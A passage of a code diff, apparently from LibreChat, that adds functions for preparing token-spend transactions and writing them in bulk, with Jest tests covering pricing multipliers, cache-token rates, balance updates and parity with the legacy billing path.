prepareTokenSpend( + txData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + expect(entries).toHaveLength(0); + }); + + it('should filter out NaN rawAmount entries', () => { + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: NaN, completionTokens: 50 }, + mockPricing, + ); + expect(entries).toHaveLength(1); + expect(entries[0].doc.tokenType).toBe('completion'); + }); + + it('should handle promptTokens only', () => { + const entries = prepareTokenSpend(baseTxData, { promptTokens: 100 }, mockPricing); + expect(entries).toHaveLength(1); + expect(entries[0].doc.tokenType).toBe('prompt'); + }); + + it('should handle completionTokens only', () => { + const entries = prepareTokenSpend(baseTxData, { completionTokens: 50 }, mockPricing); + expect(entries).toHaveLength(1); + expect(entries[0].doc.tokenType).toBe('completion'); + }); + + it('should handle zero tokens', () => { + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: 0, completionTokens: 0 }, + mockPricing, + ); + expect(entries).toHaveLength(2); + expect(entries[0].doc.rawAmount).toBe(0); + expect(entries[1].doc.rawAmount).toBe(0); + }); + + it('should calculate tokenValue using pricing multiplier', () => { + (mockPricing.getMultiplier as jest.Mock).mockReturnValue(3); + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + expect(entries[0].doc.rate).toBe(3); + expect(entries[0].doc.tokenValue).toBe(-100 * 3); + expect(entries[1].doc.rate).toBe(3); + expect(entries[1].doc.tokenValue).toBe(-50 * 3); + }); + + it('should pass valueKey to getMultiplier', () => { + prepareTokenSpend(baseTxData, { promptTokens: 100 }, mockPricing); + expect(mockPricing.getMultiplier).toHaveBeenCalledWith( + expect.objectContaining({ tokenType: 'prompt', model: 'gpt-4' }), + ); + }); + + it('should carry balance config on each entry', () => { + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + for (const entry of entries) { + expect(entry.balance).toEqual({ enabled: true }); + } + }); +}); + +describe('prepareTokenSpend — CANCEL_RATE', () => { + beforeEach(() => { + jest.clearAllMocks(); + (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2); + }); + + it('should apply CANCEL_RATE to completion tokens with incomplete context', () => { + const txData: TxMetadata = { ...baseTxData, context: 'incomplete' }; + const entries = prepareTokenSpend( + txData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + const completion = entries.find((e) => e.doc.tokenType === 'completion'); + expect(completion).toBeDefined(); + expect(completion!.doc.rate).toBe(2 * CANCEL_RATE); + expect(completion!.doc.tokenValue).toBe(Math.ceil(-50 * 2 * CANCEL_RATE)); + }); + + it('should NOT apply CANCEL_RATE to prompt tokens with incomplete context', () => { + const txData: TxMetadata = { ...baseTxData, context: 'incomplete' }; + const entries = prepareTokenSpend( + txData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + const prompt = entries.find((e) => e.doc.tokenType === 'prompt'); + expect(prompt!.doc.rate).toBe(2); + }); + + it('should NOT apply CANCEL_RATE for abort context', () => { + const txData: TxMetadata = { ...baseTxData, context: 'abort' }; + const entries = prepareTokenSpend(txData, { completionTokens: 50 }, mockPricing); + expect(entries[0].doc.rate).toBe(2); + }); +}); + +describe('prepareStructuredTokenSpend', () => { + beforeEach(() => { + jest.clearAllMocks(); + (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2); + (mockPricing.getCacheMultiplier as jest.Mock).mockReturnValue(null); + }); + + it('should prepare prompt + completion for structured tokens', () => { + const entries = prepareStructuredTokenSpend( + baseTxData, + { promptTokens: { input: 100, write: 50, read: 30 }, completionTokens: 80 }, + mockPricing, + ); + expect(entries).toHaveLength(2); + expect(entries[0].doc.tokenType).toBe('prompt'); + expect(entries[0].doc.inputTokens).toBe(-100); + expect(entries[0].doc.writeTokens).toBe(-50); + expect(entries[0].doc.readTokens).toBe(-30); + expect(entries[1].doc.tokenType).toBe('completion'); + }); + + it('should use cache multipliers when available', () => { + (mockPricing.getCacheMultiplier as jest.Mock).mockImplementation(({ cacheType }) => { + if (cacheType === 'write') { + return 5; + } + if (cacheType === 'read') { + return 0.5; + } + return null; + }); + + const entries = prepareStructuredTokenSpend( + baseTxData, + { promptTokens: { input: 100, write: 50, read: 30 }, completionTokens: 0 }, + mockPricing, + ); + const prompt = entries.find((e) => e.doc.tokenType === 'prompt'); + expect(prompt).toBeDefined(); + expect(prompt!.doc.rateDetail).toEqual({ input: 2, write: 5, read: 0.5 }); + }); + + it('should return empty when transactions disabled', () => { + const txData = { ...baseTxData, transactions: { enabled: false } }; + const entries = prepareStructuredTokenSpend( + txData, + { promptTokens: { input: 100 }, completionTokens: 50 }, + mockPricing, + ); + expect(entries).toHaveLength(0); + }); + + it('should handle zero totalPromptTokens (fallback rate)', () => { + const entries = prepareStructuredTokenSpend( + baseTxData, + { promptTokens: { input: 0, write: 0, read: 0 }, completionTokens: 50 }, + mockPricing, + ); + const prompt = entries.find((e) => e.doc.tokenType === 'prompt'); + expect(prompt).toBeDefined(); + expect(prompt!.doc.rate).toBe(2); + }); +}); + +describe('bulkWriteTransactions (real DB)', () => { + it('should return early for empty docs without DB writes', async () => { + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs: [] }, dbOps); + const txCount = await Transaction.countDocuments(); + expect(txCount).toBe(0); + }); + + it('should insert transaction documents into MongoDB', async () => { + const docs: PreparedEntry[] = [ + { + doc: { + user: testUserId, + conversationId: 'c1', + tokenType: 'prompt', + tokenValue: -200, + rate: 2, + rawAmount: -100, + }, + tokenValue: -200, + balance: { enabled: true }, + }, + { + doc: { + user: testUserId, + conversationId: 'c1', + tokenType: 'completion', + tokenValue: -100, + rate: 2, + rawAmount: -50, + }, + tokenValue: -100, + balance: { enabled: true }, + }, + ]; + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs }, dbOps); + + const saved = await Transaction.find({ user: testUserId }).lean(); + expect(saved).toHaveLength(2); + expect(saved.map((t: Record) => t.tokenType).sort()).toEqual([ + 'completion', + 'prompt', + ]); + }); + + it('should create balance document and update credits', async () => { + const docs: PreparedEntry[] = [ + { + doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -300 }, + tokenValue: -300, + balance: { enabled: true }, + }, + ]; + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs }, dbOps); + + const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record< + string, + unknown + > | null; + expect(bal).toBeDefined(); + expect(bal!.tokenCredits).toBe(0); + }); + + it('should NOT update balance when no docs have balance enabled', async () => { + const docs: PreparedEntry[] = [ + { + doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 }, + tokenValue: -100, + balance: { enabled: false }, + }, + ]; + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs }, dbOps); + + const txCount = await Transaction.countDocuments({ user: testUserId }); + expect(txCount).toBe(1); + const bal = await Balance.findOne({ user: testUserId }).lean(); + expect(bal).toBeNull(); + }); + + it('should only sum tokenValue from balance-enabled docs', async () => { + await Balance.create({ user: testUserId, tokenCredits: 1000 }); + + const docs: PreparedEntry[] = [ + { + doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 }, + tokenValue: -100, + balance: { enabled: true }, + }, + { + doc: { user: testUserId, conversationId: 'c1', tokenType: 'completion', tokenValue: -50 }, + tokenValue: -50, + balance: { enabled: false }, + }, + ]; + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs }, dbOps); + + const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record< + string, + unknown + > | null; + expect(bal!.tokenCredits).toBe(900); + }); + + it('should handle null balance gracefully', async () => { + const docs: PreparedEntry[] = [ + { + doc: { user: testUserId, conversationId: 'c1', tokenType: 'prompt', tokenValue: -100 }, + tokenValue: -100, + balance: null, + }, + ]; + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs }, dbOps); + + const txCount = await Transaction.countDocuments({ user: testUserId }); + expect(txCount).toBe(1); + const bal = await Balance.findOne({ user: testUserId }).lean(); + expect(bal).toBeNull(); + }); +}); + +describe('end-to-end: prepare → bulk write → verify', () => { + it('should prepare, write, and correctly update balance for standard tokens', async () => { + await Balance.create({ user: testUserId, tokenCredits: 10000 }); + (mockPricing.getMultiplier as jest.Mock).mockReturnValue(2); + + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs: entries }, dbOps); + + const txns = (await Transaction.find({ user: testUserId }).lean()) as Record[]; + expect(txns).toHaveLength(2); + + const prompt = txns.find((t) => t.tokenType === 'prompt'); + const completion = txns.find((t) => t.tokenType === 'completion'); + expect(prompt!.tokenValue).toBe(-200); + expect(prompt!.rate).toBe(2); + expect(completion!.tokenValue).toBe(-100); + expect(completion!.rate).toBe(2); + + const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record< + string, + unknown + > | null; + expect(bal!.tokenCredits).toBe(10000 + -200 + -100); + }); + + it('should prepare and write structured tokens with cache pricing', async () => { + await Balance.create({ user: testUserId, tokenCredits: 5000 }); + (mockPricing.getMultiplier as jest.Mock).mockReturnValue(1); + (mockPricing.getCacheMultiplier as jest.Mock).mockImplementation(({ cacheType }) => { + if (cacheType === 'write') { + return 3; + } + if (cacheType === 'read') { + return 0.1; + } + return null; + }); + + const entries = prepareStructuredTokenSpend( + baseTxData, + { promptTokens: { input: 100, write: 50, read: 200 }, completionTokens: 80 }, + mockPricing, + ); + const dbOps = { + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, + }; + await bulkWriteTransactions({ user: testUserId, docs: entries }, dbOps); + + const txns = (await Transaction.find({ user: testUserId }).lean()) as Record[]; + expect(txns).toHaveLength(2); + + const prompt = txns.find((t) => t.tokenType === 'prompt'); + expect(prompt!.inputTokens).toBe(-100); + expect(prompt!.writeTokens).toBe(-50); + expect(prompt!.readTokens).toBe(-200); + + const bal = (await Balance.findOne({ user: testUserId }).lean()) as Record< + string, + unknown + > | null; + expect(bal!.tokenCredits).toBeLessThan(5000); + }); +}); diff --git a/packages/api/src/agents/transactions.ts b/packages/api/src/agents/transactions.ts new file mode 100644 index 0000000000..b746392b44 --- /dev/null +++ b/packages/api/src/agents/transactions.ts @@ -0,0 +1,345 @@ +import { CANCEL_RATE } from '@librechat/data-schemas'; +import type { TCustomConfig, TTransactionsConfig } from 'librechat-data-provider'; +import type { TransactionData } from '@librechat/data-schemas'; +import type { EndpointTokenConfig } from '~/types/tokens'; + +interface GetMultiplierParams { + valueKey?: string; + tokenType?: string; + model?: string; + endpointTokenConfig?: EndpointTokenConfig; + inputTokenCount?: number; +} + +interface GetCacheMultiplierParams { + cacheType: 'write' | 'read'; + model?: string; + endpointTokenConfig?: EndpointTokenConfig; +} + +export interface PricingFns { + getMultiplier: (params: GetMultiplierParams) => number; + getCacheMultiplier: (params: GetCacheMultiplierParams) => number | null; +} + +interface BaseTxData { + user: string; + model?: string; + context: string; + messageId?: string; + conversationId: string; + endpointTokenConfig?: EndpointTokenConfig; + balance?: Partial | null; + transactions?: Partial; +} + +interface StandardTxData extends BaseTxData { + tokenType: string; + rawAmount: number; + inputTokenCount?: number; + valueKey?: string; +} + +interface StructuredTxData extends BaseTxData { + tokenType: string; + inputTokens?: number; + writeTokens?: number; + readTokens?: number; + inputTokenCount?: number; + rawAmount?: number; +} + +export interface PreparedEntry { + doc: TransactionData; + tokenValue: number; + balance?: Partial | null; +} + +export interface TokenUsage { + promptTokens?: number; + completionTokens?: number; +} + +export interface StructuredPromptTokens { + input?: number; + write?: number; + read?: number; +} + +export interface StructuredTokenUsage { + promptTokens?: StructuredPromptTokens; + completionTokens?: number; +} + +export interface TxMetadata { + user: string; + model?: string; + context: string; + messageId?: string; + conversationId: string; + balance?: Partial | null; + transactions?: Partial; + endpointTokenConfig?: EndpointTokenConfig; +} + +export interface BulkWriteDeps { + insertMany: (docs: TransactionData[]) => Promise; + updateBalance: (params: { user: string; incrementValue: number }) => Promise; +} + +function calculateTokenValue( + txData: StandardTxData, + pricing: PricingFns, +): { tokenValue: number; rate: number } { + const { tokenType, model, endpointTokenConfig, inputTokenCount, rawAmount, valueKey } = txData; + const multiplier = Math.abs( + pricing.getMultiplier({ valueKey, tokenType, model, endpointTokenConfig, inputTokenCount }), + ); + let rate = multiplier; + let tokenValue = rawAmount * multiplier; + if (txData.context === 'incomplete' && tokenType === 'completion') { + tokenValue = Math.ceil(tokenValue * CANCEL_RATE); + rate *= CANCEL_RATE; + } + return { tokenValue, rate }; +} + +function calculateStructuredTokenValue( + txData: StructuredTxData, + pricing: PricingFns, +): { tokenValue: number; rate: number; rawAmount: number; rateDetail?: Record } { + const { tokenType, model, endpointTokenConfig, inputTokenCount } = txData; + + if (!tokenType) { + return { tokenValue: txData.rawAmount ?? 0, rate: 0, rawAmount: txData.rawAmount ?? 0 }; + } + + if (tokenType === 'prompt') { + const inputMultiplier = pricing.getMultiplier({ + tokenType: 'prompt', + model, + endpointTokenConfig, + inputTokenCount, + }); + const writeMultiplier = + pricing.getCacheMultiplier({ cacheType: 'write', model, endpointTokenConfig }) ?? + inputMultiplier; + const readMultiplier = + pricing.getCacheMultiplier({ cacheType: 'read', model, endpointTokenConfig }) ?? + inputMultiplier; + + const inputAbs = Math.abs(txData.inputTokens ?? 0); + const writeAbs = Math.abs(txData.writeTokens ?? 0); + const readAbs = Math.abs(txData.readTokens ?? 0); + const totalPromptTokens = inputAbs + writeAbs + readAbs; + + const rate = + totalPromptTokens > 0 + ? (Math.abs(inputMultiplier * (txData.inputTokens ?? 0)) + + Math.abs(writeMultiplier * (txData.writeTokens ?? 0)) + + Math.abs(readMultiplier * (txData.readTokens ?? 0))) / + totalPromptTokens + : Math.abs(inputMultiplier); + + const tokenValue = -( + inputAbs * inputMultiplier + + writeAbs * writeMultiplier + + readAbs * readMultiplier + ); + + return { + tokenValue, + rate, + rawAmount: -totalPromptTokens, + rateDetail: { input: inputMultiplier, write: writeMultiplier, read: readMultiplier }, + }; + } + + const multiplier = pricing.getMultiplier({ + tokenType, + model, + endpointTokenConfig, + inputTokenCount, + }); + const rawAmount = -Math.abs(txData.rawAmount ?? 0); + let rate = Math.abs(multiplier); + let tokenValue = rawAmount * multiplier; + + if (txData.context === 'incomplete' && tokenType === 'completion') { + tokenValue = Math.ceil(tokenValue * CANCEL_RATE); + rate *= CANCEL_RATE; + } + + return { tokenValue, rate, rawAmount }; +} + +function prepareStandardTx( + _txData: StandardTxData & { + balance?: Partial | null; + transactions?: Partial; + }, + pricing: PricingFns, +): PreparedEntry | null { + const { balance, transactions, ...txData } = _txData; + if (txData.rawAmount != null && isNaN(txData.rawAmount)) { + return null; + } + if (transactions?.enabled === false) { + return null; + } + + const { tokenValue, rate } = calculateTokenValue(txData, pricing); + return { + doc: { ...txData, tokenValue, rate }, + tokenValue, + balance, + }; +} + +function prepareStructuredTx( + _txData: StructuredTxData & { + balance?: Partial | null; + transactions?: Partial; + }, + pricing: PricingFns, +): PreparedEntry | null { + const { balance, transactions, ...txData } = _txData; + if (transactions?.enabled === false) { + return null; + } + + const { tokenValue, rate, rawAmount, rateDetail } = calculateStructuredTokenValue( + txData, + pricing, + ); + return { + doc: { + ...txData, + tokenValue, + rate, + rawAmount, + ...(rateDetail && { rateDetail }), + }, + tokenValue, + balance, + }; +} + +export function prepareTokenSpend( + txData: TxMetadata, + tokenUsage: TokenUsage, + pricing: PricingFns, +): PreparedEntry[] { + const { promptTokens, completionTokens } = tokenUsage; + const results: PreparedEntry[] = []; + const normalizedPromptTokens = Math.max(promptTokens ?? 0, 0); + + if (promptTokens !== undefined) { + const entry = prepareStandardTx( + { + ...txData, + tokenType: 'prompt', + rawAmount: promptTokens === 0 ? 0 : -normalizedPromptTokens, + inputTokenCount: normalizedPromptTokens, + }, + pricing, + ); + if (entry) { + results.push(entry); + } + } + + if (completionTokens !== undefined) { + const entry = prepareStandardTx( + { + ...txData, + tokenType: 'completion', + rawAmount: completionTokens === 0 ? 0 : -Math.max(completionTokens, 0), + inputTokenCount: normalizedPromptTokens, + }, + pricing, + ); + if (entry) { + results.push(entry); + } + } + + return results; +} + +export function prepareStructuredTokenSpend( + txData: TxMetadata, + tokenUsage: StructuredTokenUsage, + pricing: PricingFns, +): PreparedEntry[] { + const { promptTokens, completionTokens } = tokenUsage; + const results: PreparedEntry[] = []; + + if (promptTokens) { + const input = Math.max(promptTokens.input ?? 0, 0); + const write = Math.max(promptTokens.write ?? 0, 0); + const read = Math.max(promptTokens.read ?? 0, 0); + const totalInputTokens = input + write + read; + const entry = prepareStructuredTx( + { + ...txData, + tokenType: 'prompt', + inputTokens: -input, + writeTokens: -write, + readTokens: -read, + inputTokenCount: totalInputTokens, + }, + pricing, + ); + if (entry) { + results.push(entry); + } + } + + if (completionTokens) { + const totalInputTokens = promptTokens + ? Math.max(promptTokens.input ?? 0, 0) + + Math.max(promptTokens.write ?? 0, 0) + + Math.max(promptTokens.read ?? 0, 0) + : undefined; + const entry = prepareStandardTx( + { + ...txData, + tokenType: 'completion', + rawAmount: -Math.max(completionTokens, 0), + inputTokenCount: totalInputTokens, + }, + pricing, + ); + if (entry) { + results.push(entry); + } + } + + return results; +} + +export async function bulkWriteTransactions( + { user, docs }: { user: string; docs: PreparedEntry[] }, + dbOps: BulkWriteDeps, +): Promise { + if (!docs.length) { + return; + } + + let totalTokenValue = 0; + let balanceEnabled = false; + const plainDocs = docs.map(({ doc, tokenValue, balance }) => { + if (balance?.enabled) { + balanceEnabled = true; + totalTokenValue += tokenValue; + } + return doc; + }); + + if (balanceEnabled) { + await dbOps.updateBalance({ user, incrementValue: totalTokenValue }); + } + + await dbOps.insertMany(plainDocs); +} diff --git a/packages/api/src/agents/usage.bulk-parity.spec.ts b/packages/api/src/agents/usage.bulk-parity.spec.ts new file mode 100644 index 0000000000..79dd50b2e3 --- /dev/null +++ b/packages/api/src/agents/usage.bulk-parity.spec.ts @@ -0,0 +1,533 @@ +/** + * Bulk path parity tests for recordCollectedUsage. + * + * Every test here mirrors a corresponding legacy-path test in usage.spec.ts. + * The return values (input_tokens, output_tokens) must be identical between paths. + * The docs written to insertMany must carry the same metadata as the args that + * would have been passed to spendTokens/spendStructuredTokens. + */ +import type { UsageMetadata } from '../stream/interfaces/IJobStore'; +import type { RecordUsageDeps, RecordUsageParams } from './usage'; +import type { BulkWriteDeps, PricingFns } from './transactions'; +import { recordCollectedUsage } from './usage'; + +describe('recordCollectedUsage — bulk path parity', () => { + let mockSpendTokens: jest.Mock; + let mockSpendStructuredTokens: jest.Mock; + let mockInsertMany: jest.Mock; + let mockUpdateBalance: jest.Mock; + let mockPricing: PricingFns; + let mockBulkWriteOps: BulkWriteDeps; + let deps: RecordUsageDeps; + + const baseParams: Omit = { + user: 'user-123', + conversationId: 'convo-123', + model: 'gpt-4', + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + }; + + beforeEach(() => { + jest.clearAllMocks(); + mockSpendTokens = jest.fn().mockResolvedValue(undefined); + mockSpendStructuredTokens = jest.fn().mockResolvedValue(undefined); + mockInsertMany = jest.fn().mockResolvedValue(undefined); + mockUpdateBalance = jest.fn().mockResolvedValue({}); + mockPricing = { + getMultiplier: jest.fn().mockReturnValue(1), + getCacheMultiplier: jest.fn().mockReturnValue(null), + }; + mockBulkWriteOps = { + insertMany: mockInsertMany, + updateBalance: mockUpdateBalance, + }; + deps = { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: mockPricing, + bulkWriteOps: mockBulkWriteOps, + }; + }); + + describe('basic functionality', () => { + it('should return undefined if collectedUsage is empty', async () => { + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage: [] }); + expect(result).toBeUndefined(); + expect(mockInsertMany).not.toHaveBeenCalled(); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + + it('should return undefined if collectedUsage is null-ish', async () => { + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage: null as unknown as UsageMetadata[], + }); + expect(result).toBeUndefined(); + expect(mockInsertMany).not.toHaveBeenCalled(); + }); + + it('should handle single usage entry — same return value as legacy path', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockInsertMany).toHaveBeenCalledTimes(1); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(2); + const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt'); + const completionDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'completion'); + expect(promptDoc.user).toBe('user-123'); + expect(promptDoc.conversationId).toBe('convo-123'); + expect(promptDoc.model).toBe('gpt-4'); + expect(promptDoc.context).toBe('message'); + expect(promptDoc.rawAmount).toBe(-100); + expect(completionDoc.rawAmount).toBe(-50); + }); + + it('should skip null entries — same return value as legacy path', async () => { + const collectedUsage = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + null, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + ] as UsageMetadata[]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result).toEqual({ input_tokens: 100, output_tokens: 110 }); + expect(mockInsertMany).toHaveBeenCalledTimes(1); + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(4); // 2 non-null entries × 2 docs each + }); + }); + + describe('sequential execution (tool calls)', () => { + it('should calculate tokens correctly for sequential tool calls — same totals as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 150, output_tokens: 30, model: 'gpt-4' }, + { input_tokens: 180, output_tokens: 20, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.output_tokens).toBe(100); // 50 + 30 + 20 + expect(result?.input_tokens).toBe(100); // first entry's input + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(6); // 3 entries × 2 docs + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + }); + + describe('parallel execution (multiple agents)', () => { + it('should handle parallel agents — same output_tokens total as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 80, output_tokens: 40, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.output_tokens).toBe(90); // 50 + 40 + expect(result?.output_tokens).toBeGreaterThan(0); + expect(mockInsertMany).toHaveBeenCalledTimes(1); + }); + + /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */ + it('should NOT produce negative output_tokens — same positive result as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 200, output_tokens: 100, model: 'gpt-4' }, + { input_tokens: 50, output_tokens: 30, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.output_tokens).toBeGreaterThan(0); + expect(result?.output_tokens).toBe(130); // 100 + 30 + }); + + it('should calculate correct total output for 3 parallel agents', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' }, + { input_tokens: 80, output_tokens: 40, model: 'claude-3' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.output_tokens).toBe(150); // 50 + 60 + 40 + expect(mockInsertMany).toHaveBeenCalledTimes(1); + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(6); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + }); + + describe('cache token handling - OpenAI format', () => { + it('should route cache entries to structured path — same input_tokens as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'gpt-4', + input_token_details: { cache_creation: 20, cache_read: 10 }, + }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.input_tokens).toBe(130); // 100 + 20 + 10 + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(mockSpendTokens).not.toHaveBeenCalled(); + + const docs = mockInsertMany.mock.calls[0][0]; + const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt'); + expect(promptDoc.inputTokens).toBe(-100); + expect(promptDoc.writeTokens).toBe(-20); + expect(promptDoc.readTokens).toBe(-10); + expect(promptDoc.model).toBe('gpt-4'); + }); + }); + + describe('cache token handling - Anthropic format', () => { + it('should route Anthropic cache entries to structured path — same input_tokens as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'claude-3', + cache_creation_input_tokens: 25, + cache_read_input_tokens: 15, + }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.input_tokens).toBe(140); // 100 + 25 + 15 + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + + const docs = mockInsertMany.mock.calls[0][0]; + const promptDoc = docs.find((d: { tokenType: string }) => d.tokenType === 'prompt'); + expect(promptDoc.inputTokens).toBe(-100); + expect(promptDoc.writeTokens).toBe(-25); + expect(promptDoc.readTokens).toBe(-15); + expect(promptDoc.model).toBe('claude-3'); + }); + }); + + describe('mixed cache and non-cache entries', () => { + it('should handle mixed entries — same output_tokens as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { + input_tokens: 150, + output_tokens: 30, + model: 'gpt-4', + input_token_details: { cache_creation: 10, cache_read: 5 }, + }, + { input_tokens: 200, output_tokens: 20, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.output_tokens).toBe(100); // 50 + 30 + 20 + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(6); // 3 entries × 2 docs each + }); + }); + + describe('model fallback', () => { + it('should use usage.model when available — model lands in doc', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + model: 'fallback-model', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].model).toBe('gpt-4-turbo'); + }); + + it('should fallback to param model when usage.model is missing — model lands in doc', async () => { + const collectedUsage: UsageMetadata[] = [{ input_tokens: 100, output_tokens: 50 }]; + + await recordCollectedUsage(deps, { + ...baseParams, + model: 'param-model', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].model).toBe('param-model'); + }); + + it('should fallback to undefined model when both usage.model and param model are missing', async () => { + const collectedUsage: UsageMetadata[] = [{ input_tokens: 100, output_tokens: 50 }]; + + await recordCollectedUsage(deps, { + ...baseParams, + model: undefined, + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].model).toBeUndefined(); + }); + }); + + describe('real-world scenarios', () => { + it('should correctly sum output tokens for sequential tool calls with growing context', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 31596, output_tokens: 151, model: 'claude-opus' }, + { input_tokens: 35368, output_tokens: 150, model: 'claude-opus' }, + { input_tokens: 58362, output_tokens: 295, model: 'claude-opus' }, + { input_tokens: 112604, output_tokens: 193, model: 'claude-opus' }, + { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.input_tokens).toBe(31596); + expect(result?.output_tokens).toBe(3006); // 151+150+295+193+2217 + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs).toHaveLength(10); // 5 entries × 2 docs + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + + it('should handle cache tokens with multiple tool calls — same totals as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 788, + output_tokens: 163, + model: 'claude-opus', + input_token_details: { cache_read: 0, cache_creation: 30808 }, + }, + { + input_tokens: 3802, + output_tokens: 149, + model: 'claude-opus', + input_token_details: { cache_read: 30808, cache_creation: 768 }, + }, + { + input_tokens: 26808, + output_tokens: 225, + model: 'claude-opus', + input_token_details: { cache_read: 31576, cache_creation: 0 }, + }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result?.input_tokens).toBe(31596); // 788 + 30808 + 0 + 